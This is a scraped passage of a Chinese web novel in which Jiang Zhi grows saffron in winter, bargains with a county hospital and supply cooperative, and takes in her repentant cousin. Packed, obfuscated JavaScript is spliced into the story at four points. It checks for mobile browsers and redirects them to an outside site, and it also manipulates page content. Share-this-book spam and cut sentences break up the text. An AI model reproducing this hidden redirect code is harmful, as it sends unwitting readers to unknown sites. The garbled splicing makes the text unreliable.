“娘,您看,这片叶子尖儿有点发黄,说明火道热气太足,得撤两根柴火。” “您天生就对这些有感觉,跟我学了那么久的草药,不信自己,还不信我吗。” 在女儿的鼓励下,赵秀娥从一开始的战战兢兢,到慢慢敢上手。 她发现,自己好像真有这方面的天分。 哪片垄的苗缺水了,哪棵苗的叶子卷边是该见见光了,她几乎一看一个准。 渐渐地,她脸上的笑容多了,佝偻的腰杆也挺直了。 如今,她每日在几个暖棚间巡视,指挥着几个妇女干活,俨然成了一位受人尊敬的管理者。 姜芷看着母亲由内而外焕发出的光彩,心里说不出的满足。 她要的,从来不止是自己的风光。 更要让这个为她苦了一辈子的母亲,亲手找回自己的价值,活出真正的尊严。 这天,是大寒。 一年之中,最酷寒彻骨的一日。 天色刚露出鱼肚白,负责守夜的赵铁柱冻得直跺脚,正准备去换班。 他照例绕着暖棚走了一圈,当习惯性地掀开塑料布一角,想往里瞅一眼时,整个人瞬间僵在原地。 他死命地揉搓着眼睛,以为是天寒地冻,眼花了。 可没错! 在那一片浓郁的翠绿叶片间,一朵、两朵、一片……一簇簇娇艳的紫色花朵,正迎着棚内温暖的空气,肆意绽放! “开……开花了!!!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一声压抑不住的嘶吼打破了深冬的宁静。 赵铁柱连滚带爬地冲向村里满脸狂喜。 “开花了!开花了——!芷丫头的黄金苗开花了!!” 轰! 整个红星大队被这一声石破天惊的呐喊彻底引爆! 家家户户的门被撞开人们从热被窝里爬出来棉袄来不及扣棉鞋跑掉了一只也顾不上捡疯了一样地往鬼见愁的山坡上冲! 当他们挤到暖棚前透过那层塑料布看到里面那片浩瀚的紫色花海时。 全村人都沸腾了! “我的老天爷啊!” “真……真的开花了!大冬天!雪地里!开花了!” “神了!神了!芷丫头就是活神仙下凡啊!” 大队长赵大山扒开人群冲在最前他看着眼前的景象激动得想说话嘴皮子却哆嗦着不听使唤。 他一把抓住不知何时已站在身边的姜芷声音都哑了。 “芷……芷丫头……这……这就是那比黄金还贵的……藏红花?” 姜芷穿着厚实的棉袄清冷的眉眼在漫天飞雪和棚内紫色的映衬下炯炯有神。 “是赵叔。”她点了点头“这只是开始往后会越开越多。” 她走进暖棚小心翼翼地拨开一朵盛开的紫色花朵露出里面三根纤细如丝颜色鲜红夺目的花蕊。 “大家看”她指着那三根红丝对棚外黑压压的人群说“这才是真正的宝贝。” 她从随身的小布包里拿出一把银光闪闪的精致小镊子。 在所有人的注视下稳稳地将那三根花蕊完整地夹了下来轻轻放在一张干净的白纸上。 那抹红色在白纸的衬托下像是凝固的血。 “都看清楚采摘只能用镊子手不能碰只取这三根红色的。” “这活儿精细得找村里手最稳、心最细的婶子来。工分记双倍!” 双倍工分! 人群再次炸开! 被点到名的几个妇女激动得满脸通红腰杆挺得像要戳破天! 从那天起采摘藏红花成了红星大队最神圣也最荣耀的工作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360410|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被选中的妇女要用肥皂把手洗上三遍换上浆洗干净的衣裳才能走进暖棚。 她们拿着镊子屏住呼吸小心翼翼地从花中“请”出那比金子还贵的宝贝。 采下的花蕊由赵秀娥亲自用文火烘干 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 大木箱里。 整个红星大队,都沉浸在兴奋和期待中。 他们仿佛已经看到,无数的钞票、崭新的拖拉机、时髦的的确良布料,正朝着村子滚滚而来! 也是这天夜里,姜芷收到了陆向东的来信。 信封是部队专用的,信纸粗糙,带着淡淡的油墨味。 她展开信纸,映入眼帘的是一行行刚劲有力的字,笔锋锐利,力透纸背。 信不长,报了平安,问了家常,最后一句是:开春,我休假回家看你。 姜芷的目光落在那“看你”两个字上,久久未动。 屋外寒风呼啸,屋内灯火温暖。 她清冷的面容,在橘黄色的灯光下,不自觉地柔和了些许,嘴角微微一笑。 随即,她便将信仔细叠好,放回信封,收进了自己那个装着血灵芝的,上了锁的木盒里。 藏红花开的消息,没几天就飞出了红星大队。 最先炸锅的,是县医院。 王建国一听到这个消息,激动得直接从椅子上蹦了起来,差点把脖子上的宝贝听诊器给甩飞出去。 “冬天!在雪地里!种出了藏红花!” 他冲进院子办公室,抓着院长的胳膊,唾沫星子喷了院长一脸。 “院长!这是医学奇迹!不!这是农业奇迹!不不不!这是超越时代的伟大创举!姜老师她……她不是人!她是神!” 院长被他晃得头晕眼花,心里却掀起了惊涛骇浪。 藏红花! 活血化瘀的圣药! 县医院每年都要托天大的人情,花天价从外面采购,还时常断货! 现在,红星大队自己种出来了? 还在冬天? “小王!你马上带人去!不!” 院长猛地一拍桌子,当机立断。 “我亲自去!” “把药剂科主任、采购科科长全都叫上!” “无论如何,不惜一切代价,也要把这批藏红花,全部拿下!” 第105章 一株藏红花,撬动两大命脉 一辆吉普车,载着县医院院长牛耕宏及药剂科主任、采购科科长,加上王建国。 一行人顶着风雪,火急火燎地就往红星大队赶。 紧随其后的,是县供销社那辆嘎吱作响的解放牌大卡车。 供销社的马博良马主任消息同样灵通。 “没想到啊,小小红星大队,竟然能种出藏红花。 他坐在颠簸的副驾驶位,心里的小算盘打得噼啪响。 这藏红花,可是活血化瘀的圣药,更是价比黄金的稀罕物。 如果能拿下独家货源,转手卖到省城甚至京城的大药房,那利润……啧啧,不敢想! 这是泼天政绩! “小刘!再开快点!绝对不能让医院那帮穿白大褂的抢了先! 一时间,通往红星大队那条新修的“神医路上,出现了奇特的一幕。 吉普车在前面玩命地跑,大卡车在后面死命地追,两辆车卷起的雪沫子,铺天盖地。 当这两拨人马几乎同时刹在红星大队村口时,都被眼前的景象给震住了。 村口,大队长赵大山带着几个民兵,竟荷枪实弹地站着岗。 看到车来,几个民兵“哗啦一下就把枪端平了,黑洞洞的枪口直指车头。 “站住!干什么的! 这阵仗,把牛耕宏和马博良都给吓了一跳。 这哪是村口,分明是军事要地! 马博良的司机小刘压低声音:“主任,这红星大队怎么跟铁桶似的?不就是出了点药材吗? 马博良脸色凝重:“你懂什么,这说明那药材基地的规模,肯定比咱们想的还要大! 牛耕宏到底是见过世面的,他稳住心神,正要下车解释,一个熟悉的身影从他车里窜了出去。 “赵大队长!赵叔!是我啊,王建国!县医院的小王! 王建国满脸堆笑,热情地冲上去,差点就要给赵大山一个熊抱。 赵大山一看是姜芷的“头号粉丝 他想起姜芷前两天特意交代的话:“赵叔,过几天县里肯定会来人。他们是来求咱们的,不是来视察的。您就把腰杆挺直了,架子端足了,咱们的东西才更金贵。 赵大山背着手,学着公社**的派头,慢悠悠地踱步上前。 “哦,是县医院的同志啊。 他瞥了一眼后面卡车上供销社的标志,心里乐开了花,供销社的也来了。 但面上却一片淡 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 然。 “你们找我们芷丫头有事?” “有事!天大的事!” 牛耕宏赶紧下车一脸热切。 “我们听说姜芷同志培育出了藏红花特地来采购!” “我们也是!”马主任不甘示弱地挤上前“供销社代表国家收购!价格好商量!” 赵大山淡淡说道:“哦这事啊。芷丫头正在暖棚里忙着呢。” “你们也知道那玩意儿金贵离不开人。” “这样吧你们先去我们大队部喝口热茶我派人去叫她。” 说完他冲民兵使了个眼色。 民兵立刻上前把两拨人带到了大队部。 大队部里热茶刚沏上姜芷就来了。 她身后还跟着抱着个大木箱的赵秀娥。 “牛院长马主任。”姜芷冲两人点了点头算是打了招呼。 “哎哟姜神医!” “姜同志!” 牛耕宏和马博良连忙站起来态度热情得像是见到了亲人。 姜芷也不废话开门见山:“听说你们是为藏红花来的?” “是是是!”药剂科主任抢着开口。 “姜神医我们听王医生说您这藏红花是在冬日暖棚里培育的药性活性想必远超常规!我们医院愿意……” “咳!”牛耕宏一个眼神制止了他转向姜芷沉稳道:“姜同志您这批藏红花我们县医院全要了!价格 “牛院长话不能这么说!”马主任急了“我们供销社是国家指定采购单位!姜同志我们给出的价格保证是全县最高的!” 两个人都清楚谁能拿下这第一批。 就等于和这位能创造奇迹的“神医”搭上了线后续的好处不可估量。 眼看两人就要吵起来姜芷抬了抬手。 屋里瞬间安静了下来。 她示意母亲把木箱打开。 箱盖开启一股浓郁而奇特的药香瞬间弥漫开来闻之令人心神一振。 箱子里整整齐齐地码放着几十个小纸包。 药剂科主任双眼放光光闻这味道就知道是顶级货色! 姜芷随手拿起一包将里面烘干的、纤细如丝的鲜红花蕊倒在桌上。 “第一批一共采了八百二十克。” 八百二十克! 在场所有人眼睛都直了。 这点东西看着不多可要是按“克比黄金”的说法那价值…… 听说看这本书的人都是很幸运的,分享后你的运气会更棒 牛耕宏和马博良对视一眼,都从对方眼里看到了势在必得。 医院的采购科长试探着开口:“姜同志,我们出……三块钱一克! 三块! 赵大山暗吸一口凉气。 一克三块,八百多克,那就是两千四百多块! 这快赶上他们大队一年的总收入了! “我们出三块五!供销社那边立刻跟上。 “四块! “四块五! … 价格一路飙升,双方的采购争得面红耳赤。 牛耕宏和马博良则端坐着,看似稳如泰山,眼神却死死盯着对方,进行着无声的较量。 姜芷就那么静静地看着,也不说话。 直到价格被喊到了“十块钱一克。 她才抬了抬手。 “停。 所有目光都聚焦在她身上。 姜芷的视线扫过众人,缓缓说道:“这批藏红花,我不单独卖给任何一方。 “啊?两拨人都傻了。 赵大山也急了,差点从椅子上弹起来:“芷丫头,这…… 姜芷没理会他们的惊诧,继续说:“但是,我可以跟你们,建立长期的合作关系。 她看向牛耕宏:“我可以以五块一克的价格,优先供给县医院三百克。 牛耕宏一怔,这价格比刚才喊的低了一半,但他没急着高兴,他知道,真正的条件在后面。 果然。 姜芷话锋一转:“条件是,我们红星大队将挂牌成为‘县人民医院药材培育及临床观察基地’。 “以后我们药田需要的所有珍稀药材母种,或遇到培育难题,医院方面需利用你们的渠道和资源,为我们联系省里的药厂、农科站,乃至相关专家,提供官方支持和技术指导。 牛耕宏彻底愣住了。 他看着眼前这个年纪轻轻的姑娘,心中巨浪翻涌。 她竟然不要高价,而是看上了渠道和资源。 姜芷没给他太多震惊的时间,目光已转向供销社的马博良。 “剩下的五百二十克,可以交给供销社,由你们代为销售。 “价格,你们自己去谈,是卖到省城还是哪里,我不管。我们只要六块一克。 “条件是,从今天起,我们红星大队被列为供销社系统内的‘生产建设重点扶持单位’。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360411|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “以后我们开荒、生产所需的所有化肥、农药、柴油等指标性物资,供销社 听说看这本书的人都是很幸运的,分享后你的运气会更棒 必须保证优先、足量、按时供应。” 整个大队部,瞬间安静。 牛耕宏和马博良都死死盯着姜芷。 这哪里是个乡下丫头? 这脑子,这眼光,这滴水不漏的布局! 她不是在卖药材,而是在用这区区八百克藏红花,为整个红星大队,撬动了全县最重要的医疗和物资两大命脉! 她要的,根本不是眼前这几千块钱,而是源源不绝,可以预见的未来! 牛耕宏压下心中的震撼,试探道:“姜同志,你的条件……我们总得亲眼看看这藏红花的生长情况,也好向上级汇报,对吧?” “应该的。”姜芷点头,“赵叔,带路。” 一行人顶着风雪。 深一脚浅一脚地爬上“鬼见愁”山坡。 当那几个在白雪中散发着勃勃生机的巨大暖棚,以及棚内那片浩瀚无垠的紫色花海映入眼帘时,所有人都僵在了原地。 药剂科主任一个箭步冲上前,看着棚内整齐的引水渠,烧得正旺的火道,还有那一株株精神抖擞的花朵,激动得浑身都在发抖。 “奇迹!这是农业和医学的双重奇迹!” “牛院长,您看这环境控制,这长势……简直是教科书级别的样本!” 牛耕宏和马博良相视一眼,眼中的震撼已化为敬畏。 化腐朽为神奇…… 这六个字,他们今天才算真正见识到是什么模样。 回到大队部,两人完全被折服。 “好!” 牛耕宏第一个拍板,斩钉截铁。 “就按姜神医说的办!这个‘药材基地’的牌子,我亲自去跟上级申请!以后红星大队的事,就是我们县医院的事!” 姜芷微微点头。 之前这批种子,终究是托了王建国私人的情面。 但现在,是平等的合作。 王建国见状,立刻挺直了腰板,激动地站了出来,声音洪亮。 “姜神医!以后您有任何需求,请直接找我!我就是您的联络员!” 牛耕宏赞许地看了他一眼,顺势接话。 “对!就找小王!他可以全权代表我们县医院,跟红星大队进行对接!” 这一下,便将王建国个人的“追星”,彻底变成了官方认证的桥梁。 “我们供销社也没问题!” 马主任生怕落后,立刻表态,胸脯拍得邦邦响。 “姜同志你放心,从今天起,红星大队就是我们供销社的重点扶持单位!要什么给什么!” 一场激烈的竞价,就这么被姜芷轻描淡写地,化解成了一场撬动全县的深度捆绑。 当牛耕宏和马博良带着各自的东西,心满意足地离开时。 赵大山手里捧着一个沉甸甸的钱袋,感觉像在做梦。 他看着姜芷,嘴巴张了半天,最后只憋出两个字。 “你……牛!” 姜芷笑了笑。 “赵叔,这只是咱们红星大队的第一笔集体药材收入,您拿去入账。” “记好这次所有人的工分,等到过年,咱们全村一起分红!” “哎!好!没问题!”赵大山猛地一拍大腿,声音响亮。 赵秀娥站在一旁,看着女儿在众人的簇拥下,不疾不徐地安排着村里的大事。 她捧着空了的大木箱,手也不抖了,眼眶一热,泪水涌了出来。 从今往后,她的女儿,以及整个红星大队的日子,都将彻底不一样了。 第106章 救你?可以,拿一辈子来还债 县城,废弃的砖窑厂。 破败的角落成了姜巧巧的巢穴。 自从被张狗剩当街暴打,一脚踢到流产后,她就成了无家可归的可怜虫。 她不敢回村。 身无分文。 只能靠翻拣垃圾堆里冻硬的烂菜叶果腹。 小产带来的亏空,让她本就单薄的身体彻底垮了。 下身总是不干不净,带着一股让她自己都作呕的腥臭。 她恨。 恨张狗剩的无情,恨自己的天真。 但她最恨的,是姜芷。 如果不是姜芷,她怎么会沦落到这个地步? 如果不是姜芷抢走了陆向东,她现在早就是人人艳羡的军官太太。 这一切,都是姜芷造成的! 天,越来越冷了。 这天夜里,她蜷在冰冷的砖窑里,冷气从四面八方钻进骨头缝,冻得她浑身痉挛。 死亡的恐惧,第一次如此清晰地攫住了她。 她不想死。 她还这么年轻,凭什么就要这么窝囊地死在这个狗窝里。 求生的本能,压倒了一切。 她脑海里,不由自主地浮现出一个身影——姜芷。 那个她最恨的名字,此刻却成了她唯一能想到的希望。 只有她,能救自己。 这个念头是如此荒谬,却又如此真实。 天一亮,姜巧巧挣扎着从砖窑里爬了出来。 她拖着沉重的双腿,一步步朝红星大队的方向挪。 十几里路,她走了整整一天。 当村口那棵熟悉的歪脖子树映入眼帘时,已是黄昏。 村子里,炊烟袅袅。 扩音大喇叭里,大队长赵大山的声音激昂澎湃。 “……告诉大家一个好消息! “咱们大队的藏红花,卖了个大价钱! “经姜芷同志提议,大队部研究决定,等到过年,拿出大部分收益给全村每户分红! 村民的欢呼声,隔着老远都能听见。 “分红? “真的假的?还给咱发钱? “芷丫头真是活菩萨啊! 姜巧巧站在村口的雪地里,听着那些赞美和欢呼,心里更加苦涩。 姜芷永远光芒万丈,而自己却像条狗一样,回来乞求她的怜悯。 巨大的**让她想掉头就走。 可腹中一阵绞痛,和深入骨髓的寒意,让她迈不开步子。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 她咬着牙低下头绕开人群 那里曾是她的梦如今却成了审判台。 她终于走到那扇紧闭的朱漆大门前。 屋里透出温暖的灯光和饭菜的香气。 而她只能站在冰天雪地里又冷又饿。 巨大的反差让她的眼泪糊住了视线。 她抬起手怎么也敲不下去。 就在这时大门“吱呀”一声开了。 赵秀娥端着一盆洗菜水走出来。 一抬头她就看到了门口衣衫褴褛的身影。 “你……” 赵秀娥手里的木盆“哐当”一声掉在地上水泼了一地迅速结成薄冰。 她被吓得后退一步一时间竟没认出眼前这个形容枯槁的女人。 “巧……巧巧?” 她试探着叫了一声。 姜巧巧身体剧震她抬起头露出一张蜡黄浮肿的脸嘴唇干裂眼神空洞。 “婶……婶子……”她张了张嘴声音嘶哑。 屋里的姜芷听见动静走了出来。 当她看到门口的姜巧巧时眼神没有丝毫波动仿佛早就料到她会回来。 “你来干什么?” 姜芷的声音很冷。 姜巧巧看着她身上干净暖和的棉袄红润光洁的脸蛋再看看自己这副鬼样子强烈的恨意再次翻涌。 但她不敢。 她知道自己没资格恨了。 她“扑通”一声直挺挺地跪在了雪地上。 膝盖磕在冰渣上疼得她眼前一黑。 “姜芷……姐……” 这一声“姐”叫得比哭还难听。 “求求你……救救我……” 她一边说一边用额头去磕地一下又一下发出沉闷的响声。 “我知道错了……我以前不是人……我不该跟你抢……不该害你……” “求求你看在……都是一家人的份上……救救我……” 她哭得涕泗横流狼狈不堪。 赵秀娥心软了拉了拉姜芷的衣袖:“小芷要不……让她先进屋吧?外面太冷了……” 姜芷没有回应目光依旧落在姜巧巧身上。 她就那么看着她看着她用最卑微的姿态上演着一场独角戏。 直到姜巧巧磕得额头红肿破皮她才缓缓开口。 “想让我救你?” 姜巧巧 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 猛地抬头,眼里迸发出希望,小鸡啄米似的点头。 “可以。” 姜芷冷冷吐出两个字。 “但是,我这里不养闲人,更不养废人。” “想活命,就拿出你的价值来。” 姜巧巧跪在地上,整个人都懵了。 价值? 她现在就是一个被男人抛弃、身无分文的丧家之犬。 她有什么价值? “我……我……” 她张着嘴,一个字都说不出来。 赵秀娥也急了,压低了声音:“小芷,你这是干什么?她都这样了……” “娘。” 姜芷打断了她,声音依旧平静。 “您忘了她以前是怎么对我们的?” “忘了她和王桂香怎么把我们往死里欺负的吗?” “升米恩,斗米仇。” “今天我们要是就这么轻易收留了她,她不会感激,只会觉得我们好欺负。等她缓过劲来,只会变本加厉。” “我救她,是看在医生的本分。但她,必须为她自己犯下的错,付出代价。” 赵秀娥愣住了。 看着女儿清冷的侧脸,她忽然明白了。 善良,要有锋芒。 原谅,要有前提。 不是所有的错误,都能被一句“对不起”轻易抹去。 想通了这一点,赵秀娥不再说话,默默站到了姜芷身后。 用行动表示了对女儿的支持。 姜芷的目光,重新落回姜巧巧身上。 “想不出来吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360412|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜巧巧的身体止不住地颤抖。 她死死咬着下唇,咬出了血。 这是她最后的机会。 如果抓不住,她今晚真的会冻死在这。 价值……价值…… 她会干农活,但现在的身体根本不行。 她会耍心机,可在姜芷面前就是个笑话。 她还能干什么? 她忽然想起姜芷在老宅院子,教赵秀娥辨识草药。 对了! 药材! 她猛地抬头,求生欲爆棚:“我……我会干活!我虽然不能下地,但我可以帮你干点别的!我可以帮你挑拣药材!晒药!什么活儿都行!” “我的手很巧!你教我,我肯定能学会!” 为了活命,她放下了所有自尊和骄傲。 “只要你肯救我,给我一口饭吃。” “我……我给你当牛做马!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “我给你打一辈子工来还债!” 她一边说,一边又开始“咚咚咚”地磕头。 姜芷静静地看着她,直到确认她眼里的,不再是算计,而是真正的卑微和恳求时,才点了点头。 “好。” “我给你这个机会。” 她侧过身,让开了门口的路。 “进来吧。” 姜巧巧手脚并用地从地上爬起来,踉跄地冲进屋里。 当温暖的空气包裹住她时,她再也忍不住,蹲在地上放声大哭。 赵秀娥在侧院收拾出一间杂物房,铺上干净的旧棉被,又烧了热水。 姜巧巧把自己洗刷干净,躺在床上时,整个人还在抖。 姜芷端着一碗热气腾腾的药汤走进来,神情冷淡。 她伸手搭上姜巧巧的脉搏,片刻后,眉梢微挑。 “小产失养,寒气入体,气血两亏,再拖三天,神仙难救。” 姜巧巧的哭声戛然而止,满脸苦涩和委屈。 姜芷没理会她的惊恐,拿出银针,在她腹部几处穴位刺下,捻动几下,一股暖流瞬间驱散了那恼人的坠痛和寒意。 她收了针,将药碗递过去:“喝了。” 姜巧巧不敢迟疑,捧着碗一饮而尽。 姜芷转身对门口的赵秀娥说:“娘,拿两个杂粮馍给她。” 赵秀娥应声去了。 姜芷看着床上缩成一团的姜巧巧,声音冷清。 “为了一个不值钱的男人,为了点虚无缥缈的念想,你卷钱私奔。” “你知道你娘现在怎么样了吗?” 姜巧巧捧着空碗的手一僵。 姜芷继续说:“她被你气得中了风,口眼歪斜,半身不遂,现在躺在床上,吃喝拉撒都得人伺候。” “你为了自己的一己之私,毁了她后半辈子。” 话音刚落,赵秀娥端着热气腾腾的馍走了进来。 姜巧巧刚接过来,只咬了一口,眼泪就掉了下来。 她看着手里的馍,再也吃不下去。 不是为自己,而是为那个被她亲手推进深渊的母亲。 她错了。 终于知道自己错得有多离谱。 姜巧巧伏在被子上,压抑着,颤抖着,最后发出呜咽,悔恨的泪水,浸湿了身下的棉被。 第107章 一万两千块砸蒙大队长 第二天姜芷收留了姜巧巧的消息传遍了整个红星大队。 村里人聚在墙根下晒着暖阳嘴里的热气就没停过。 “听说了吗?姜巧巧回来了跪在芷丫头家门口磕头呢!” “我的乖乖芷丫头还真把她收下了?心也太善了吧!” “你懂啥!” 一个消息灵通的婆娘撇撇嘴。 “我可听说了芷丫头是让她打工还债呢!以前欠的都得拿活儿来抵!” “哎哟!这招高啊!” “可不是嘛!既救了人 这话传到姜家老宅姜老太正坐在炕上气得把手里的搪瓷缸子往地上一摔。 “哐当”一声刺耳得很。 “反了天了!那个丧门星还有脸回来!还赖在人家那儿当牛做马我们老姜家的脸都被她丢尽了!” 她瞪着一旁正在给王桂香擦洗的姜为民劈头盖脸地骂道:“你这个当爹的是死的吗!还不快去!把那个小**给我抓回来!让她跪在桂香床前赎罪!” 姜为民的动作僵住了。 他抬起头眼神空洞毫无焦距。 去? 他怎么去? 一个女儿光芒万丈他却连仰望的勇气都没有只剩无地自容的羞愧。 另一个女儿作茧自缚沦落至此他这个当爹的连一句话都懒得想去说。 而且他也听说姜巧巧伤得很重。 现在过去除了给她再添一层难堪还能有什么用? 明明只是几步路的事却像隔着万水千山。 姜为民低下头声音沙哑:“她她伤着……让她在那边……养养吧。” 他不敢去也懒得去。 而姜巧巧自己同样没有脸面去面对瘫在床上的母亲和苍老的父亲。 她想先在姜芷这里待着吧。 等她用自己的手赚到了钱或许才有回去看一眼的资格。 对于外界的风言风语姜芷充耳不闻。 她给姜巧巧开了几服药调养了几天。 眼看着她蜡黄的脸上渐渐有了血色人也恢复了些精神姜芷便开始给她安排活计。 挑拣药材。 暖棚里采回来的藏红花用炭火精心烘干后。 还需要人工将里面混杂的细小杂质和破碎的叶片一一挑拣出来。 这是个极其考验眼力和耐心 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的精细活。 村里上了年纪的婶子大娘,干一会儿就眼花手抖。 姜巧巧年轻,眼神好,正好做这个。 深冬的早晨,寒气逼人。 姜巧巧就坐在灶房门边的小板凳上,膝上放着一个大大的簸箕。 她每天的工作,就是从天亮坐到天黑。 对着那堆价比黄金的红色细丝,用小镊子一根一根地挑。 换做以前的她,不出半天,就得跳脚撂挑子。 可现在,她做得尤为认真。 赵秀娥端着碗进来,看着女儿安排的这一切,又看看姜巧巧那专注的侧影,忍不住走到姜芷身边,低声说。 “这孩子……好像真转性了,做得还挺像模像样。 姜芷的目光从一本医书上抬起,淡淡地瞥了一眼。 “现在说这些,还早。 “一两天的新鲜劲,看不出什么名堂。 “就让她做着吧。如果她能一直这样坚持下去,说明她是真的从骨子里悔过了,这双手以后也能养活她自己。 姜芷顿了顿,透出一丝凉意。 “如果,等她身体养好了,翅膀硬了,又故态复萌……那她往后是死是活,都与我们再无干系。 赵秀娥听着,心里一凛,没再说话。 她知道,女儿这是给了姜巧巧最后一次机会。 姜巧巧对这一切毫不知情。 或者说,她已经没有心力去思考别的。 她完全沉浸在这份枯燥的工作中。 对着那一把把细若牛毛的红丝,一根、两根、一百根……重复着同一个动作时,那些纷乱的情绪,都被一点点磨平。 她的脑子,前所未有地安静下来。 在这份安静里,她开始思考。 思考自己为什么会走到今天这一步。 她一直在嫉妒姜芷。 嫉妒她有陆向东那样英武不凡的未婚夫。 嫉妒她有神乎其技、起死回生的医术。 嫉妒她能让全村人,甚至县里的大领导都对她敬佩有加。 可她从来没有想过,姜芷拥有这一切,靠的是什么。 是她自己的本事。 是她面对任何困境都从容不迫的头脑,是她那双能辨识百草、也能执掌生死的手。 而自己呢? 除了那点上不了台面的小聪明,和那份可笑又可悲的虚荣心,一无所有。 想明白这一点,姜巧巧的心,彻底沉静了下来。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 她不再抱怨,不再幻想不属于自己的东西。 她只是安安静静地坐在那里,一根一根地,挑拣着这些能改变她命运的“黄金”。 这是她用尽最后的尊严和全部的劳力,换来的新生。 无比的踏实。 藏红花的生意,算是彻底点燃了红星大队的冬天。 继县医院与供销社第一次“瓜分”后,姜芷又指导着赵秀娥和村里手巧的妇女们。 在一个月内,紧锣密鼓地采收、烘干了两批。 每一次,县医院的牛院长和供销社的马主任都亲自带车过来,从不废话,一手交钱,一手交货。 三批藏红花全部售罄。 红星大队的账上,史无前例地多出了一万二千三百五十块钱。 当大队长赵大山从会计那颤抖的手里接过账本,对着那一长串零,伸出沾满口水的手指头,一个、两个、三个……来来**数了三遍。 他整个人都僵住了。 一万二! 比他们红星大队面朝黄土背朝天地刨上三年,挣的钱还多! 赵大山哆哆嗦嗦地揣着那张写着总额的纸条,感觉比烧红的铁块还烫手。 他拔腿就跑,连家都没回,脚下生风,直冲姜芷家的新院子。 “芷……芷丫头!” 赵大山一进院子就扯着嗓子喊。 姜芷正坐在屋檐下。 冬日暖阳懒洋洋地洒在她身上,手里捧着一本线装的古医书,旁边的小泥炉上,咕嘟咕嘟地温着一壶散发着清苦香气的药茶。 她甚至没抬眼皮。 “赵叔,出什么事了?” “钱!是钱啊!” 赵大山几步窜到她面前,把那张被手汗浸得发软的纸条往她面前一递,说话都打了结。 “一万二!咱们……咱们大队账上,有一万二千多块钱!” 这年头,哪个生产大队见过这么多现钱? 这笔巨款放在大队部那破保险柜里,他晚上睡觉都睁着一只眼,总觉得房梁上、窗户外面,到处都是贼影。 姜芷终于舍得将目光从书页上移开,在那张纸条上轻轻一扫。 她的神色没有半分变化。 而后,她伸出纤长的手指,捻起茶壶,给自己添了半杯药茶。 “嗯,知道了。” 她淡淡地应了一声,又低头看书。 赵大山一口气没上来,差点被她这反应给噎过去。 知道了? 就这? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他围着石桌团团转:“丫头这钱……这钱可咋办啊?放哪儿我这心都悬在嗓子眼!跟揣了个**包似的!” 姜芷翻过一页书慢悠悠地说。 “赵叔钱在大队账上 “我能不紧张吗!”赵大山一屁股墩在旁边的石凳上。 “这都是社员们拿命换来的指望!要是有个三长两短我这张老脸往哪儿搁!” “那就存银行。”姜芷说得云淡风轻。 “银行?”赵大山一愣随即把头摇成了拨浪鼓“不行不行!钱存进去想拿出来比登天还难条条框框的麻烦死。再说钱放在别人兜里我睡不着!” 这代人只信攥在自己手里的踏实。 姜芷终于放下了书给他也倒了杯热茶。 茶香袅袅驱散了几分焦躁。 “赵叔红星大队以后要发展的项目会越来越多账上的钱也会越来越多。你不能总靠脑子记靠柜子锁。” 她看着赵大山眼神清亮。 “你去找公社陈**就说我们红星大队响应国家号召发展集体经济资金流水大了需要开一个正规的对公账户。让公社出面跟县信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360413|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用社协调。” “以后大钱走账小钱备用。再请个靠谱的比如你家读过高中的侄子来当记账员。你和会计双重签字才能动钱。清清楚楚明明白白谁都放心。” 赵大山听得一愣一愣的。 对公账户? 双重签字? 这些词他压根没听过可从姜芷嘴里慢悠悠说出来就让他觉得就该这么办。 他脑子里豁然开朗猛地一拍大腿:“对啊!我怎么就没想到!还是你脑子活!行我明天就去公社!” 心里的巨石落了地赵大山整个人都松快了。 他喝了口茶目光瞟向院子另一头。 